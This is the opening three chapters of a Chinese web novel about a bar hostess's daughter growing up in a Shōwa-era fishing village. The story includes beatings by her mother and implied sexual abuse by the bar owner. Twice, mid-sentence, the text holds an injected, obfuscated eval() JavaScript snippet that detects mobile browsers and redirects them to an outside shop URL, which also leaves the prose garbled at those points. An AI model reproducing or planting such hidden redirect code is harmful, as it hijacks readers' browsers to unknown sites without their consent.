《[电影]昭和美人》 1. 第 1 章 浜田潮子,第一次见到海的那天,就觉得自己是属于海的。 不是出生那天——出生是在酒肆后面那间狭小的阁楼里,没有窗户,只有一股发霉的稻草味。是后来,等她能跑了,有了对海深刻的记忆,从酒肆后门溜出去,穿过一条长满杂草的小路,翻过一道矮矮的土坡,然后,海就在那里了。 海是灰色的,也是蓝色的,天阴的时候是灰的,天晴的时候是蓝的。潮子不懂这些,她只知道海很大,比酒肆大,比村子大,比她能想到的任何东西都大。海会动,会喘气,会把凉凉的水汽喷到她脸上。她第一次站在海边,愣了很久,然后脱掉木屐,踩进浪里。浪打上来,没过她的小腿,凉得她缩了一下,但她没跑,就那么站着,让浪一遍一遍地打。 那天她在海边待了很久,回去的时候天已经黑了。母亲在酒肆门口等她,一把揪住她的耳朵,把她拖进后屋,按在膝盖上打了一顿。打完了,母亲把她搂在怀里,哭了。 “你跑哪儿去了?你知道我多担心吗?你死了我怎么办?” 潮子不明白。刚才打她的是母亲,现在抱着她哭的也是母亲。她只觉得屁股疼,还有一点饿。但是她没哭,也没说话。 从那以后,她还是去海边。只是学会了看天色,估摸着时间,在母亲开始着急之前回去。 后来她认识了那个男孩。 男孩比她大一点,具体大多少她不知道,反正比她高半个头。他是渔夫家的孩子,每天都跟着父亲出海,晒得比潮子还黑。第一次见面,潮子在海边捡贝壳,他在修一艘破旧的小木船——那是他自己的船,是他父亲不要的废船,他把它拖到沙滩上,用捡来的工具一点一点地修。 潮子蹲在旁边看了很久,终于开口:“你修不好。” 男孩头也不抬:“能修好。” “修好了也不能出海,太小了。” “能出。” “你叫什么?” “铁。” “铁?” “铁的鉄。我阿爹说,要像铁一样结实。” 潮子笑了。她没见过这么怪的名字。 “你笑什么?” “没笑。” “你笑了。” “没。” 男孩抬起头,看了她一眼。她蹲在阳光下,逆着光,脸看不清楚,只看见一头乱糟糟的头发,和一双亮晶晶的大眼睛。他又低下头,继续修船。 “你叫什么?”他问。 “潮子。” “潮子的潮?” “海潮的潮。” 男孩点点头,没再说话。海浪拍打着沙滩,一下,一下。 后来他们一起玩。男孩带她爬上礁石,教她看海浪的纹路,告诉她哪一片海里有鱼,哪一片海里只有石头。她带他翻过土坡,穿过杂草,指给他看酒肆后面那个小小的阁楼窗户,告诉他那是她的家。 “你就住那里?”男孩看着那个窗户,窗户小得像个洞。 “嗯。” “怎么上去?” “从酒肆里面爬楼梯。” “我能上去吗?” 潮子想了想,摇头:“不行。妈妈不让。” 男孩点点头,没再问。 夏天的时候,他们去稻田里跑。稻子还没长高,绿油油的一片,他们从田埂上跑过去,惊起草丛里的蚂蚱。男孩跑得快,潮子追不上,她就喊:“等等我!”男孩就停下来,回头看她,汗从额头上流下来,顺着脸颊滴进脖子里。他站在那里,阳光把他晒得发亮,像一尊小小的铜像。 他们会在稻田边上坐下来,喘着气,看着远处的海。男孩会告诉她,哪一片海今天有船出海,哪一片海有鱼群。潮子不太懂,但她喜欢听他说话。 “你以后想干什么?”有一天潮子问他。 “出海。” “出海干什么?” “打鱼。然后赚钱。” “赚钱干什么?” 男孩想了想,看着她:“娶你。” 潮子愣了一下,然后笑了,笑得露出白牙。她以为他在开玩笑,像过家家的时候说“你是妈妈我是爸爸”那样。 但男孩没笑。 那天傍晚,潮子又在海边。男孩不在,他跟着父亲出海了。她一个人坐在礁石上,看太阳一点一点沉进海里。海面变成金色,又变成红色,最后变成灰色。 她不知道坐了多久,直到身后传来一声喊: “潮子——” 是母亲的声音。她回头,看见母亲站在远处,正在朝她跑过来。 潮子站起来,想跑。但来不及了,母亲已经跑近了,一把揪住她的耳朵。 “疼疼疼——” “不是说了不叫你跑来海边的吗?你想气死我吗?” 母亲的手劲很大,潮子的耳朵被扭得生疼。她扭着身子想挣开,但挣不动。 “晒得像黑鬼一样将来谁要你啊!” 潮子不挣了,她仰着头,瞪着母亲:“没人要就没人要啊。” 母亲愣了一下。 “妈妈不是也没人要吗!” 话音刚落,空气像被抽空了。 母亲的手停在半空,脸上的表情潮子从来没看过——不是愤怒,是别的什么,比愤怒更疼的东西。 然后,那只手落下来了。 “啪!” 一记耳光,结结实实地扇在潮子脸上。 潮子被打得踉跄了一步,脸偏向一边,火辣辣地疼。她没有哭,也没有捂脸,就那么侧着头,一动不动。 母亲的手还在发抖。 “你说什么?” 声音很低,低得不像母亲的声音。 潮子慢慢把头转回来,看着母亲。母亲的脸扭曲着,眼眶红了,但没有眼泪。 “你再说一遍。” 潮子没有说话。她看着母亲,看着这个头发散乱、眼窝深陷、嘴唇干裂的女人——这个每天晚上对着男人笑、每天早上对着镜子发愣的女人。她知道母亲每天晚上在做什么,知道那些男人的手会放在哪里,知道酒肆老板有时候会把母亲叫进房间,门关很久。 她不懂那是什么意思,但她知道母亲每次从房间里出来,都要去井边打水洗脸。 “我问你,你再说一遍。” 潮子还是没说话。她的脸肿起来了,五个指印清晰地印在上面。 就在这时,一个身影冲了过来,挡在她面前。 是那个男孩。 他不知道从哪里跑出来的,可能是一直躲在旁边,可能是刚好路过。他站在母亲和潮子中间,张开两条细细的胳膊,胳膊上还沾着沙子。 “阿姨,快放开潮子!” 母亲低头看着他,看着这个满身沙子、晒得黑黑的小男孩,愣住了。 “不会没人要的!” 男孩的声音很响,在空旷的海边显得特别响亮。潮子从他背后探出头,看见他的后脑勺,头发被海风吹得乱七八糟。 “把小潮嫁给我吧!” 母亲愣了半天。 她看着这个男孩——看着他黑黑的脸,看着他倔强的眼神,看着他张开的两条小细胳膊。 然后她笑了。 是真的笑了,不是酒肆里那种对着客人的笑,是真的被气笑了。她松开揪着潮子耳朵的手,低头看着这个一本正经的小男孩 “你?” “嗯!” “你叫什么?” “铁!” “铁。”母亲念了一遍这个名字,“你是渔夫家的孩子吧?” “是!” “你拿什么娶她?” 男孩愣了一下,他不知道娶一个人需要什么。他想了想,说:“我有船!” “船?” “我自己修的!虽然现在还不能出海,但我等长大了,一定能出海!” 母亲看着他倔强的小样子,摇了摇头,伸出手,轻轻地把他推开。 “行了行了,你离我家潮子远一点。” “为什么?” “她才不会嫁给一个小船夫。”母亲弯下腰,凑近男孩的脸,“我们要找个有钱人嫁了,你知道吗?” 男孩没说话,但他也没退。 “请你离潮子远一点,要不然——” 母亲顿了顿,声音冷下来: “要不然阿姨就让男朋友打断你的腿,听到没有?” 男孩还是没有退。他抬起头,看着母亲,又看了看母亲身后、半边脸肿起来的潮子。 潮子也在看着他。 她的脸很疼,五个指印烫得像火烧。但她的眼睛还是很亮。 男孩看着那双眼睛,慢慢往后退了一步。 不是怕,是因为他知道,现在他帮不了她。 母亲一把拉起潮子的手。 “走。” 潮子被拖着往前走,母亲的手攥得很紧,她挣不开。她走得踉踉跄跄,一步一回头。 男孩还站在那里,站在海边,站在夕阳最后的光里。他没有动,只是看着她。 潮子朝他笑了笑。 脸很疼,笑的时候牵扯到伤口,更疼了。但她还是笑了,露出白牙。 母亲没看见。她只顾着往前走,拖着潮子离开海边,穿过那条长满杂草的小路,走向酒肆的方向。 潮子一直在回头,直到那个小小的身影被土坡挡住,看不见了。 “还看什么看?” 母亲的声音从头顶传来,冷冷的。她的手还攥着潮子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486536|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手腕,攥得生疼。 “那小子骗你的。” 潮子没说话。 “小小年纪做什么承诺啊?他懂什么叫承诺吗?” 她们走进村子,路边的房子开始多起来。有人从窗户里探出头,看了一眼她们——看了一眼潮子脸上那个红红的巴掌印,然后缩回去了。潮子知道他们在看什么——在看那个陪酒女和她的野孩子,在看那个女人打出来的野种。 “我告诉你潮子,你是要嫁给有钱人的。” 母亲的声音低下来,像是说给潮子听,也像是说给自己听。 “别看那些穷小子。一个渔夫家的孩子,能有什么出息?一辈子在海上漂,风吹日晒,赚那几个钱,够干什么的?” 潮子还是没说话。她在想刚才那个男孩。他在海边站了很久吗?天黑了才回去吗?他回去之后,会想她吗? 酒肆到了。 那是一栋老旧的木头房子,门口挂着一块褪色的布帘。白天没什么人,到了晚上,会有一些男人进去,喝酒,说话,看着母亲笑。 酒肆老板站在门口,看见她们,点了点头。 “回来啦?” “嗯。”母亲应了一声,“把这孩子找回来了。” 酒肆老板弯下腰,看着潮子。他四十多岁的样子,脸上带着笑,但潮子总觉得那个笑是假的,像贴在脸上的一张皮。 他的眼睛在潮子脸上那个巴掌印上停了一下,没说什么。 “潮子,别让妈妈担心了。”他从口袋里掏出两颗糖,塞进潮子手里,“来,拿着,去吃吧。” 糖是彩色的,裹着透明的纸。潮子看了一眼,没说话。 她不喜欢这个人。她不知道为什么不喜欢,但她就是不喜欢。她见过他晚上看着母亲的样子,也见过母亲从他房间里出来,低着头,整理衣襟。 有时候,她知道母亲拿自己抵债——这个词她不懂,但她知道,当她被母亲推进那个房间,被这个男人的手摸过脸的时候,她想吐。 潮子攥着糖,走进酒肆,爬上后面那条窄窄的楼梯,钻进阁楼里。 阁楼很小,小到只能放下一张床和一个破柜子。没有窗户,只有一个小洞,勉强算是个窗。白天的时候,会有一点光从那个洞里透进来,让潮子知道现在是白天还是晚上。 她坐在床上,看着手里的糖。 彩色的糖,裹着透明的纸。 她想起刚才那个男人弯下腰的样子,想起他脸上的笑。她把糖丢在地上。 糖落在地板上,发出轻轻的响声。 潮子看着那颗糖,看了很久。 阁楼里很暗,只有从小洞里透进来的一点光,照在那颗糖上,让它看起来还是彩色的。 她弯下腰,把糖捡起来。 剥开透明的纸,把糖塞进嘴里。 咯吱咯吱。 糖在牙齿间碎开,甜味慢慢渗出来。潮子嚼着糖,听着楼下的声音。 母亲的声音从下面传上来——她在笑,是那种酒肆里的笑,和刚才在海边的笑不一样。还有男人的声音,好几个,在说话,在笑,在碰杯。 潮子坐在黑暗里,嚼着糖,听着那些声音。 她把糖咽下去,站起来。 阁楼太小了,站着的时候,头几乎要碰到屋顶。她走到那个小洞前面,踮起脚,往外看。 外面是夜晚了,天已经黑透,只有远处几点灯火。街上没什么人。 然后她看到了他。 那个男孩站在对面的草窝里,站在黑暗里,抬着头,正在看着这个小洞。 潮子笑了。 她把窗户推开一点,伸出手,朝他挥了挥。 男孩也挥了挥手。 潮子看不清他的脸,但她知道他也在笑。 她下意识地摸了摸自己的脸,那里还肿着,还疼着。但她还是在笑。 楼下又传来一阵笑声,还有杯子碰撞的声音。潮子缩回手,把窗户轻轻关上。 她回到床边,躺下来,盯着头顶黑漆漆的屋顶。 楼下,母亲还在笑。 阁楼里很安静。 潮子闭上眼睛,脑子里是那个男孩站在草窝里的样子,是他挥手的动作,是他今天在海边说的话—— “把小潮嫁给我吧!” 她笑了,在黑暗里偷偷地笑了。 脸很疼。但笑的时候,好像没那么疼了。 窗户外面,夜色很深。草窝里那个小小的身影,还站在那里,看着这个只有一个小洞的阁楼。 看了很久很久。 然后他转身,慢慢走远,消失在黑暗里。 海浪的声音从远处传来,一下,一下,像这个世界的心跳。 潮子睡着了。 2. 第 2 章 浜田潮子六岁了。 这一年夏天过去的时候,村子里和潮子差不多大的孩子都背上书包,沿着那条杂草丛生的小路,走去村头那所小学校。 那所学校只有一到四年级,是村公所旁边一排平房,墙上刷着白灰,窗户镶着玻璃,房顶铺着灰瓦。操场是压实的黄土地,立着两个歪歪扭扭的篮球架。没有围墙,从海边吹来的风可以一直吹到教室门口。 学校里只有一个老师,姓佐佐木,四十多岁,戴眼镜,说话慢吞吞的。他一个人教四个年级的所有科目——国语、算数、理科、社会。学生们挤在一间教室里,一年级听课的时候,其他年级就做作业。 这是海边渔村最常见的分校模式。太小的孩子走不了远路,所以村里设了低年级,等念完四年级,再去五公里外的镇里念完小。 潮子知道这些,是因为铁告诉她的。 不,现在不能叫“铁”了。 那个男孩有名字。他叫健一郎。 健一郎——健康的长子。他父亲是渔夫,母亲生他时难产死了,家里只有父亲和一个瞎眼的奶奶。他的名字是奶奶取的,希望他像名字一样,健健康康地活下去。 那个夏天,健一郎天天来找潮子。两个人一起去海边,一起去稻田,一起去铁道边——不过那是后来的事了。这个夏天,他们只做一件事:玩。 因为夏天结束的时候,健一郎就要去上学了。 “上学好玩吗?”潮子问。 “不知道。”健一郎蹲在沙滩上,用树枝在沙子上写字,“佐佐木老师说,上学能学会写字,会算数,还能看很多书。” “你会写字?” “不会。”他指指沙子上的划痕,“这是在画字。” 潮子蹲下来看那些歪歪扭扭的道道,看不懂。 “你学会了教我。” “好。” 潮子又问:“你去了学校,还来找我吗?” 健一郎抬起头,看着她。 六岁的潮子,晒得黑黑的,头发乱糟糟的,脸上有汗,有沙子,还有一颗小小的痣——就在鼻尖旁边,一笑起来那颗痣就跟着动,像一颗会跳舞的小黑豆。 她眼睛很大,很亮,里面有一种他说不上来的东西。奶奶说那是“命硬”的人才会有的眼神。 “放学了就来找你。”他说。 “真的?” “嗯。” 潮子笑了,露出白牙。 那个夏天很快就过去了。 九月第一天,健一郎背着奶奶缝的布书包,跟着村里几个孩子,一起走去村头那所小学校。 潮子站在酒肆门口,看着他们走远。 她没说话,就那么站着,看着那条小路,看着那群孩子的背影越来越小,最后拐过村公所的墙角,看不见了。 母亲在酒肆里喊她帮忙,她没动,脑子里幻想着学校的样子。 “潮子!” 她慢慢走回去,低着头,一句话不说。 那天晚上,酒肆打烊以后,母亲爬上阁楼,看见潮子没睡,睁着眼睛盯着屋顶。 “怎么不睡?” “妈妈。” “嗯?” “我想上学。” 母亲愣了一下。 “上什么学?” “他们都去了。”潮子转过头,看着母亲,“健一郎也去了。” “健一郎是谁?” “就是那个……那个渔夫家的男孩。” 母亲想了想,想起那个站在海边、张开胳膊说要娶潮子的小黑孩。她“哦”了一声,没说话。 “妈妈,让我上学吧。” 母亲坐到床边,看着黑暗里潮子那双亮晶晶的眼睛。她想起自己六岁的时候,也想上学,但外婆说女孩子读书有什么用,不如在家帮忙干活。她这辈子,连自己的名字都写不利索。 “上学有什么用?” 潮子从床上坐起来,看着母亲。 “你不是说让我嫁给有钱人吗?” 母亲愣住了。 “在酒肆里当陪酒女怎么嫁给有钱人?” 空气突然凝固了。 月光从小洞里照进来,照在潮子脸上,照在她鼻尖那颗小小的痣上。她的眼睛很亮,里面没有挑衅,没有恶意,只是认真的、单纯的疑问。 她真的在问:妈妈你让我嫁给有钱人,可是我现在每天在酒肆里,看见的是什么样的男人?那些满身酒气、眼神黏糊糊的男人,是“有钱人”吗?那些把手伸向妈妈、伸向我的男人,是“有钱人”吗? 母亲的身体震了一下。 然后那只手抬起来了。 “啪!” 一记耳光。 比海边那天更重。 潮子被打倒在床上,半边脸瞬间肿起来。她没哭,没叫,就那么趴在床上,侧着头,看着母亲。 “你这个孩子——” 母亲的声音在抖,不知道是气的还是别的什么。 “你是瞧不起我吗!” 又是一巴掌,打在背上。 “我供你吃穿把你养大——” 又一巴掌。 “你竟然敢看不起我!” 母亲的手像雨点一样落下来,打在潮子的背上、屁股上、胳膊上。潮子蜷缩在床上,抱着头,咬着牙,一声不吭。 打着打着,母亲的手慢下来了。 她看着蜷缩在黑暗里的那个小小的身体,看着那个被她打得一动不动的孩子,突然愣住了。 她的眼泪掉下来了。 “我……” 她想说什么,说不出来。 潮子慢慢松开抱着头的手,抬起头,看着母亲。 月光照在她脸上,照在那张肿起来的脸上,照在嘴角渗出的血丝上。但她的眼睛还是很亮,还是很平静,像海边的礁石,浪打过来,打完了,礁石还在那里。 “妈妈。” 她的声音很轻。 “我没瞧不起你。” 母亲愣住了。 “我只是……不想像你一样,在酒肆里。” 这句话像一把刀,扎进母亲心口。 但潮子说的“像你一样”,不是嫌弃。她说的是:不想像你一样,被男人打,被男人骂,被男人用完就丢;不想像你一样,每天晚上对着那些男人笑,每天早上对着镜子发愣;不想像你一样,连自己是谁都不知道。 母亲站在那里,月光照在她脸上,照在她乱七八糟的头发上,照在她干裂的嘴唇上。她看着潮子,看着这个从自己身体里爬出来的孩子,看着这个被她打得鼻青脸肿的孩子,看着这个眼睛里还亮着光的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486537|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子。 她突然想起酒肆里那些男人说的话—— “老板娘,你闺女长得可真俊啊。” “这鼻子这眼睛,以后是个美人胚子。” “那颗痣长得好,长在鼻子上,勾人呢。” 她以前听了只是笑笑,不当回事。现在想起来,突然觉得心里一紧。 这么好看的孩子,不能拘在酒肆里。 她擦了擦眼泪,走到柜子前面,打开那个破旧的抽屉,从最底下摸出几张皱巴巴的钱票。 那是她攒了很久的钱。本来想给自己买一件新衣服的。 她走回床边,把那几张钱票塞进潮子手里。 “明天。”她说,声音哑得像砂纸磨过木头,“明天你自己去学校,找老师,求老师收你。” 潮子看着手里的钱票,又抬头看着母亲。 “妈妈……” “别叫我。”母亲转过身,“我累了。” 她走到楼梯口,停了一下,没回头。 “明天穿那件好点的衣服。把脸洗干净。” 然后她下楼了。 潮子坐在黑暗里,听着母亲下楼的脚步声,听着阁楼的门关上。她低头看着手里的钱票,看着那些皱巴巴的、带着母亲体温的纸。 她摸了摸自己的脸,肿的,疼的。 但她笑了一下。 --- 第二天早上,潮子起得很早。 她打了一盆水,把脸洗干净,对着盆里的倒影看了很久。脸上还肿着,巴掌印还清晰可见。但她不管了。 她穿上那件唯一没有补丁的衣服——是母亲去年从镇里买的,当时说“过年穿的”,后来过年没舍得穿,一直压在柜子里。 她对着盆里的倒影,用手指蘸了水,把头发抿了抿。 鼻尖上那颗小痣,沾了一滴水珠,在早晨的阳光里亮晶晶的。 潮子看了那颗痣一眼,没管它。 她把钱票塞进怀里,走出酒肆。 九月的早晨,海风吹过来,带着咸咸的味道。她沿着那条杂草丛生的小路,一步一步往村头走。 走到半路,她看见一个人站在前面。 是健一郎。 他背着书包,站在那里,好像专门在等她。 “你怎么在这儿?” “等你。”他说,“昨天晚上怎么没来?” 潮子没说话。 健一郎走近了一步,看见了她的脸。 她左边脸颊肿着,红红的,五个指印还看得出来。 他的眉头皱了一下。 “你妈打的?” 潮子点点头。 健一郎沉默了一会儿,然后伸出手,轻轻碰了碰她的脸。 “疼吗?” “不疼了。” “骗人。” 潮子笑了,露出白牙。一笑牵动脸上的伤,疼得她吸了一口气,但她还是在笑。 健一郎看着她,看着她鼻尖那颗亮晶晶的痣,看着她亮晶晶的眼睛。 “走吧。”他说。 他伸出手。 潮子看着他的手——晒得黑黑的,沾着不知道哪里蹭的灰,但伸得很直,像那天在海边一样。 她握住那只手。 两个人一起,朝村头那所小学校走去。 3. 第 3 章 浜田潮子上学了。 第一天,佐佐木老师把她安排在靠窗的位置,和一个小女孩坐在一起。小女孩叫松本聪子,父亲是村里唯一一家杂货铺的老板,家里比大多数人家都要殷实。她穿着洗得干净漂亮的衣服,辫子扎得整整齐齐,看潮子的时候,眼睛里有种说不清的东西。 不是恶意,是打量。像看一件不知道值不值钱的物件。 “你叫什么?”聪子问。 “浜田潮子。” “浜田?”聪子眨了眨眼睛,睫毛很长,像两把小扇子,“你爸爸呢?” 潮子没说话。 她不知道该怎么回答这个问题。她没见过爸爸,妈妈也从来不提。酒肆里的人偶尔会问,妈妈就说“死了”,语气像在说今天天气不好。但潮子知道,死了的人会有牌位,会有照片,会有人偶尔提起。她什么都没有。 聪子“哦”了一声,没再问。但潮子看见她嘴角动了动,像笑,又像只是抿了抿嘴。那一下很快,快到几乎看不出来,但潮子看见了。 潮子低下头,翻开崭新的课本。课本是佐佐木老师发的,旧旧的,封面用牛皮纸包着,边角都磨圆了。老师说这是上一届学生用过的,但还能用。潮子不在乎新旧,她只在乎这是她的书。 她闻着纸上淡淡的霉味,心里有一种奇怪的感觉——踏实。 这是她的书。她也是学生了。 窗外有风吹进来,带着海的味道。潮子抬起头,看了一眼窗外。从这里能看到海吗?看不到。但她知道海就在那里,在那个方向,一直在那里。 她转过头,发现聪子还在看她。 “你看什么?”潮子问。 “没什么。”聪子把头转回去,拿起课本,翻了几页,又放下,“你会写字吗?” “不会。” “我也不会。”聪子说,“但我妈说,我很快就会学会。我哥上过学,现在在镇里帮人记账,一个月能赚不少钱。” 潮子没说话。她没有哥哥。她只有妈妈,和那个小得像洞一样的阁楼。 “你家住哪儿?”聪子又问。 潮子沉默了一下。 “酒肆。” “酒肆?”聪子的眼睛亮了一下,像发现了什么有趣的东西,“就是村口那家?我妈说那里晚上有很多男人去喝酒。” 潮子点点头。 “你是酒肆老板的孩子?” “不是。” 聪子愣了一下,然后“哦”了一声,没再问。 但潮子看见她眼睛里的光变了。不再是好奇,是别的什么。 她低下头,继续看自己的课本。 --- 佐佐木老师确实对潮子很好。 不是因为可怜她,也不是因为知道她家里的情况。他就是那样一个人,对谁都一样——上课慢慢讲,下课慢慢走,学生问他问题,他就弯下腰,眼镜片上反着光,听完了,慢慢说:“嗯,这个问题问得好。” 他的声音总是很慢,像海浪拍岸,一下,一下。潮子喜欢听他说话,听着听着,心就静下来了。 但潮子能感觉到,老师看她的眼神里,有一种特别的东西。 不是同情,也不是偏爱。是一种……她说不清楚。像是他知道她不容易,但他不觉得那是什么了不起的事。像他相信她能行。 有一次放学后,潮子一个人在教室里做算术题。那是佐佐木老师额外给她的——不是惩罚,是她自己要求的。她想多学一点,快一点学会。做得慢,其他人走了她还没做完。 教室里很安静,只有佐佐木老师在讲台上批改作业,笔尖划过纸面的沙沙声,和远处隐约的海浪声混在一起。 潮子低着头,盯着那道题。是两位数的加法,她算了好几遍,每次答案都不一样。她咬着笔杆,眉头皱成一团。 “这里。” 声音从头顶传来。潮子抬起头,佐佐木老师不知道什么时候站到了她旁边,弯着腰,手指指着她写的那个数字。 “再想想。” 潮子盯着那道题,想了很久。她把两个数字在心里又加了一遍,突然眼睛一亮——她明白了,进位那里她忘了。 她拿起笔,把答案划掉,重新写了一个。 佐佐木老师点点头,没说话,回到讲台上继续批改作业。 天快黑的时候,潮子把最后一道题做完,收拾书包站起来。教室里已经暗下来了,只有讲台上那盏煤油灯还亮着。佐佐木老师坐在灯下,影子拉得很长。 “老师,我走了。” “嗯。”佐佐木老师抬起头,“路上小心。” 潮子走到门口,又回过头。 灯光照在老师脸上,他的眼镜片上反着光,看不清眼睛。但他坐在那里的样子,让她觉得安心。 “老师。” “嗯?” “您为什么……对我好?” 佐佐木老师愣了一下。他放下手里的笔,摘下眼镜,用衣角慢慢擦了擦,又戴上。他的动作总是很慢,像做什么事都不着急。 “你是我的学生。”他说,声音还是那样慢吞吞的,“我对所有学生都一样。” 潮子站在那里,看着老师。 她想说不一样。想说其他大人看她的时候,眼睛里总有别的东西——要么是可怜,要么是嫌弃,要么是酒肆里那种黏糊糊的、让她想躲开的光。但佐佐木老师看她,就像看一个普通的孩子。 但她没说。她不知道该怎么把这些话说出来。 “回去吧。”佐佐木老师说,“天黑了。” 潮子点点头,推开门,走进夜色里。 外面已经全黑了,只有零星几户人家亮着灯。她沿着那条杂草丛生的小路往回走,脚下坑坑洼洼的,好几次差点摔倒。但她不怕黑。她早就习惯了黑暗——阁楼里比这还黑。 走到半路,她听见前面有脚步声。 是健一郎。 他站在路中间,手里提着一盏小灯笼。灯光照在他脸上,晒得黑黑的皮肤泛着暖黄色的光。 “你怎么在这儿?”潮子问。 “等你。”他说,“这么晚,路上黑。” 潮子看着他,突然不知道该说什么。 健一郎把灯笼往她那边举了举:“走。” 两个人并排走着,灯笼的光把路照亮了一小段。潮子看着地上两个拉长的影子,一高一矮,晃来晃去。 “老师给你补课?”健一郎问。 “嗯,我自己想多学一点。” “学那么多干什么?” 潮子想了想,说:“不知道。就是想学。” 健一郎点点头,没再问。 走到酒肆门口,他把灯笼递给潮子。 “明天见。” “灯笼给你。” “不用,我摸得着路。”他笑了笑,露出白牙,“我走惯了。” 潮子看着他转身,看着他消失在黑暗里。她提着灯笼站了一会儿,听着海浪的声音,然后推开门,走进酒肆。 酒气扑面而来。有人在笑,有人在碰杯,有男人在喊“老板娘再来一壶”。妈妈在柜台后面,脸上挂着那种笑——那种和平时不一样的笑。她看见潮子,愣了一下,然后挥挥手,意思是“快上去”。 潮子低下头,从人群边上挤过去,爬上楼梯,钻进阁楼里。 她把灯笼放在地上,坐在床上。 楼下传来笑声和碰杯声,还有妈妈的声音,又高又亮,像另一个人。 潮子躺下来,盯着黑漆漆的屋顶。 她想,妈妈以前也上学吗?妈妈小时候,有没有人这样等她回家? 她不知道。 她闭上眼睛,海浪的声音从远处传来,一下,一下。 --- 但学校里不是只有佐佐木老师。 还有那些孩子。 一开始只是背后说话。潮子从她们身边走过,她们就停下来,等潮子走远了,头凑到一起,叽叽咕咕。潮子听不清说什么,但她知道是在说她。 她不回头,也不放慢脚步,就那么走过去。 有一次,她在厕所里蹲着,听见外面进来两个人。 是聪子的声音。 “那个潮子,你知道她妈妈是干什么的吗?” 另一个女孩的声音:“听我妈说,是酒肆里陪酒的。” “陪酒是什么?” “就是……就是陪男人喝酒的。”那个女孩压低声音,“我妈说那种女人不要脸。” “那她是不是也……” 声音压得更低了,低到听不清。但潮子能猜到她们在说什么。 她蹲在那里,一动不动。 她想起那些晚上,那些男人看妈妈时黏糊糊的目光。想起酒肆老板弯下腰塞糖给她的样子,那张笑脸像贴在脸上的皮。想起妈妈有时候把她推进那个房间,门关上的声音。 她蹲在那里,手攥成拳头,指甲掐进掌心里。 等那两个女孩走了,她才站起来,推开门,走出去。 她走到洗手池前面,对着镜子看自己的脸。 镜子里那张脸,晒得黑黑的,鼻尖上有颗痣,眼睛很大,很亮,看不出有什么不一样。 她看了很久。 然后她低下头,洗手,走出去。 下午上课的时候,聪子坐在她旁边,和平时一样。潮子看着她,她也看着潮子,还笑了一下。 潮子没笑。 事情发生在潮子上学第二个月。 那天上午上完第二节课,佐佐木老师准备用他那个宝贝教学用具——是一个木制的算盘模型,比普通算盘大两倍,可以挂在黑板上,珠子一颗一颗拨给学生看。那是老师自己攒了很久的钱,从镇里买的,平时舍不得用,用完了就收在讲台的抽屉里。只有教算数的时候才拿出来,用完立刻收回去。 但那天,算盘模型不见了。 佐佐木老师把讲台翻了一遍,没有。他又把自己的办公桌翻了一遍,还是没有。他蹲下来看了看桌子底下,也没有。 “谁看见那个大算盘了?”他问。 教室里安静下来。 没有人说话。 孩子们互相看看,又低下头,又抬起头。有几个小声说“没看见”,其他人也跟着说“没看见”。 佐佐木老师站在讲台上,沉默了一会儿。 他的脸看不出什么表情,但潮子觉得,他好像有点难过。不是生气,是难过。那个算盘是他心爱的东西,潮子知道。有一次放学后,她看见老师一个人拿着那个算盘,一颗一颗拨着珠子,嘴里念念有词,脸上有她从来没见过的表情——像小孩子得到了心爱的玩具。 “都站起来。”佐佐木老师说。 所有人站了起来。 “按座位顺序,到前面来。” 他从讲台下面拿出一个空的布袋子,放在讲台上。 “自己把口袋翻出来,把东西倒进去。倒完了回到座位上。” 第一个孩子上去,把口袋翻出来,里面什么也没有。他看了一眼老师,老师点点头,他就回去了。 第二个,也没有。 第三个,也没有。 教室里很安静,安静得能听见窗外的风声。有人在小声抽鼻子,是吓的。潮子站在那里,心里很平静。她没有拿,她知道。 第四个是聪子。 她走上去,把口袋翻出来。里面有几颗糖——是她家杂货铺的糖,用花花绿绿的纸包着。她站在讲台前面,脸有点红,小声说:“这是……这是我妈给的。” 佐佐木老师看了一眼那些糖,点点头。聪子把糖倒进布袋里,回到座位。她经过潮子身边的时候,看了潮子一眼。 潮子没看她。 第五个是潮子。 她走上去,把手伸进口袋。 口袋里有一个硬硬的东西。 她的心突然往下沉了一下。 她愣了一下,手指在那个东西上摸了一下——圆圆的,中间有个孔。她知道那是什么。 她慢慢把那个东西掏出来。 是一个木制的珠子。 算盘上的珠子。 不是整个算盘,只是一颗珠子。木头的,漆成黑色,中间有孔,可以穿在竹签上。但所有人都认得那是老师那个大算盘上的珠子。那个算盘珠子大,比普通算盘珠子大两倍,一眼就能认出来。 教室里“嗡”的一声炸开了。 “是潮子!” “她偷的!” “我就说她……” 潮子站在那里,手里托着那颗珠子,看着它,一动不动。 她不知道自己口袋里怎么会有这个。 但她知道一件事—— 今天早上,她来的时候,在路上碰见了聪子。 那时候聪子从后面追上来,说“潮子等等我”。两个人一起走。聪子挨她很近,手在她旁边晃了晃。她当时没在意。聪子还问了她几句话,问她作业做了没有,问她昨天去哪儿玩了。 现在她知道了。 潮子抬起头,看着佐佐木老师。 “不是我拿的。”她说。 声音不大,但教室里每个人都听得见。那些嗡嗡的声音一下子静下来。 “我没有拿。” 佐佐木老师看着她。 那双眼睛很亮,很干净,没有躲闪,没有慌张,没有那种被抓住的孩子该有的害怕。她就这样看着他,手里托着那颗珠子,站在那里,像一块礁石。 